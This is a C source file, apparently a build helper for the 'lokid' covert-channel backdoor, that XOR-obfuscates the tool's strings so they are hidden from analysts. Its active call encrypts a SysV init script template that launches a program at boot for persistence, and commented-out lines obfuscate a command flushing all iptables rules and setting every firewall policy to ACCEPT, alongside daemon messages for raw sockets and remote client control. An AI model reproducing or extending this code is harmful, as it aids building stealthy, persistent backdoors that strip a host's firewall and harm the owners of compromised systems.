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#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#define CSTROBF_MAX 1024
#define KEY_SIZE 8
typedef struct cstrobf {
uint8_t str[CSTROBF_MAX];
size_t size;
uint8_t key[KEY_SIZE];
size_t ksize;
} estring;
char *decrypt(estring encrypted) {
int i;
char buf[CSTROBF_MAX] = {0};
for (i = 0; i < encrypted.size; i++)
buf[i] = encrypted.str[i] ^ encrypted.key[i % encrypted.ksize];
return strdup(buf);
}
void destroy(char *buf, size_t len) {
for(int i = 0; i < len; i++)
buf[i] = rand() % 256;
free(buf);
}
void encrypt(const char *varname, const uint8_t *buf) {
int i;
uint8_t ebuf[CSTROBF_MAX] = {0};
uint8_t key[KEY_SIZE] = {0};
size_t len;
len = strlen(buf);
for (i = 0; i < KEY_SIZE; i++)
key[i] = rand() % 256;
for (i = 0; i < len; i++)
ebuf[i] = buf[i] ^ key[i % KEY_SIZE];
/* ughly ass print this to stdout. if you don't want a newline,
whack off the last byte, and decrease the size by one */
printf("estring %s = { \"", varname);
for (i = 0; i < len; i++)
printf("\\x%02x", ebuf[i]);
printf("\", %ld, \"", len);
for (i = 0; i < KEY_SIZE; i++)
printf("\\x%02x", key[i]);
printf("\", %d }; // %s\n", KEY_SIZE, buf);
}
int main(int argc, char *argv[]) {
srand(time(NULL));
//estring L_MSG_BANNER = { "\xda\x30\x80\x6c\x99\xbc\xe5\x8d\xbd\x1a\xbd\x07\x8b\xa7\x8f\xc0\xf0\x4e\xff\x16\xe9\xa2\xdf\xd9\xe0\x4c\xef\x62\xbc\xea\x8f\x9d\xb9\x0a\xaa\x07\x83\xfa\x9e\x8e\xb5\x0e\xb6\x7a\xda", 45, "\xd0\x7c\xcf\x27\xd0\x8f\xec\xe9", 8 }; // \nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n
//char *d = decrypt(L_MSG_BANNER);
//printf("%s", d); destroy(d, L_MSG_BANNER.size);
//encrypt("S_STAT_REQUESTS", "requests:\t\t%d\n");
//encrypt("S_STAT_BYTES_WRITTEN", "bytes written:\t\t%d\n");
//encrypt("S_STAT_PACKETS_WRITTEN", "packets written:\t%d\n");
//encrypt("S_STAT_CLIENT_ID", "client ID:\t\t%d\n");
//encrypt("S_STAT_UPTIME", "server uptime:\t\t%.02f minutes\n");
//encrypt("S_STAT_CRYPTO", "active cryptography:\t%s\n");
//encrypt("S_STAT_TRANSPORT", "active transport:\t%s\n");
//encrypt("S_STAT_INTERFACE", "remote interface:\t%s\n");
//encrypt("S_STAT_VERSION", "\nlokid version:\t\t%s\n");
encrypt("S_SYSV_SERVICE", "#!/bin/sh\n"
"### BEGIN INIT INFO\n"
"# Provides: %s\n"
"# Default-Start: 2 3 4 5\n"
"# Default-Stop: 0 1 6\n"
"# Short-Description: %s\n"
"# Description: %s\n"
"### END INIT INFO\n\n"
"case \"$1\" in\n"
" start)\n"
" %s &\n"
" ;;\n"
"esac\n"
"exit 0\n");
//encrypt("S_CMD_FLUSH_IPTABLES", "PATH=/sbin:/usr/sbin iptables -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null");
//encrypt("S_MSG_CLIENT_DB_FULL", "\nlokid: Client database full");
//encrypt("S_MSG_EXPIRED_CLIENT", "\nlokid: inactive client <%d> expired from list [%d]\n");
//encrypt("S_MSG_CLIENTK", "\nlokid: clean exit (killed at client request)\n");
//encrypt("S_MSG_UNKNOWN", "\nlokid: cannot locate client entry in database\n");
//encrypt("S_MSG_CANNOT_CHDIR", "[fatal] cannot chdir to WORKING_ROOT");
//encrypt("S_MSG_CANNOT_DETACH_TERMINAL", "[fatal] cannot detach from controlling terminal");
//encrypt("S_MSG_CANNOT_CREATE_SESSION", "[fatal] Cannot create session");
//encrypt("S_MSG_CANNOT_DAEMONIZE", "[fatal] Cannot go daemon");
//encrypt("S_MSG_CANNOT_SIGNAL_PROCESS_GROUP", "[fatal] could not signal process group");
//encrypt("S_MSG_SENDING_L_QUIT", "\tsending L_QUIT: <%d> %s\n");
//encrypt("S_MSG_TRUNCATED_WRITE", "[non fatal] truncated write");
//encrypt("S_MSG_POPEN", "\nlokid: popen");
//encrypt("S_MSG_CLIENT_ALL_KILL", "\nlokid: client <%d> requested an all kill\n");
//encrypt("S_MSG_CLIENT_FREED", "\nlokid: client <%d> freed from list [%d]");
//encrypt("S_MSG_FORK_ERROR", "[fatal] forking error");
//encrypt("S_MSG_WIERDERR", "\n[SUPER fatal] control should NEVER fall here\n");
//encrypt("S_MSG_SHM_DETACH_ERROR", "[fatal] shared mem segment detach error");
//encrypt("S_MSG_CANNOT_DESTROY_SHMID", "[fatal] cannot destroy shmid");
//encrypt("S_MSG_CANNOT_DESTROY_SEMAPHORE", "[fatal] cannot destroy semaphore");
//encrypt("S_MSG_SHM_SEGMENT_ERROR", "[fatal] shared mem segment request error");
//encrypt("S_MSG_SEMAPHORE_ALLOCATION_ERROR", "[fatal] semaphore allocation error");
//encrypt("S_MSG_CANNOT_LOCK_MEMORY", "[fatal] could not lock memory");
//encrypt("S_MSG_CANNOT_UNLOCK_MEMORY", "[fatal] could not unlock memory");
//encrypt("S_MSG_SIGCHLD", "[fatal] cannot catch SIGCHLD");
//encrypt("S_MSG_SIGUSR1", "[fatal] cannot catch SIGUSR1");
//encrypt("S_MSG_SIGCHLD", "[fatal] cannot catch SIGCHLD");
//encrypt("S_MSG_SIGALRM", "[fatal] cannot catch SIGALRM");
//encrypt("S_MSG_SIGTERM", "[fatal] cannot catch SIGTERM");
//encrypt("S_MSG_ATEXIT", "[fatal] cannot register with atexit(2)");
//encrypt("S_MSG_IP_HDRINCL", "Cannot set IP_HDRINCL socket option");
//encrypt("S_MSG_SOCKET", "[fatal] socket allocation error");
//encrypt("S_MSG_UNKNOWN_TRANSPORT", "[fatal] Unknown transport\n");
//encrypt("S_MSG_NOPRIV", "\n[fatal] invalid user identification value");
//encrypt("S_MSG_CANNOT_SIGNAL_PARENT", "[fatal] could not signal parent");
//encrypt("S_MSG_CANNOT_ADD_KEY", "\nlokid: Cannot add key\n");
//encrypt("S_MSG_USAGE", "\nlokid -p (i|u) [ -v (0|1) ]\n");
//encrypt("S_MSG_UNSUP", "\nlokid: unsupported or unknown command string\n");
//encrypt("S_MSG_PROTOCOL_CHANGED", "lokid: transport protocol changed to %s\n");
//encrypt("S_MSG_SEND_PROTO_UPDATE", "\tsending protocol update: <%d> %s [%d]\n");
//encrypt("S_MSG_PROTOUPDATE", "\nlokid: client <%d> requested a protocol swap\n");
//encrypt("L_MSG_BANNER", "\nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n");
return EXIT_SUCCESS;
}
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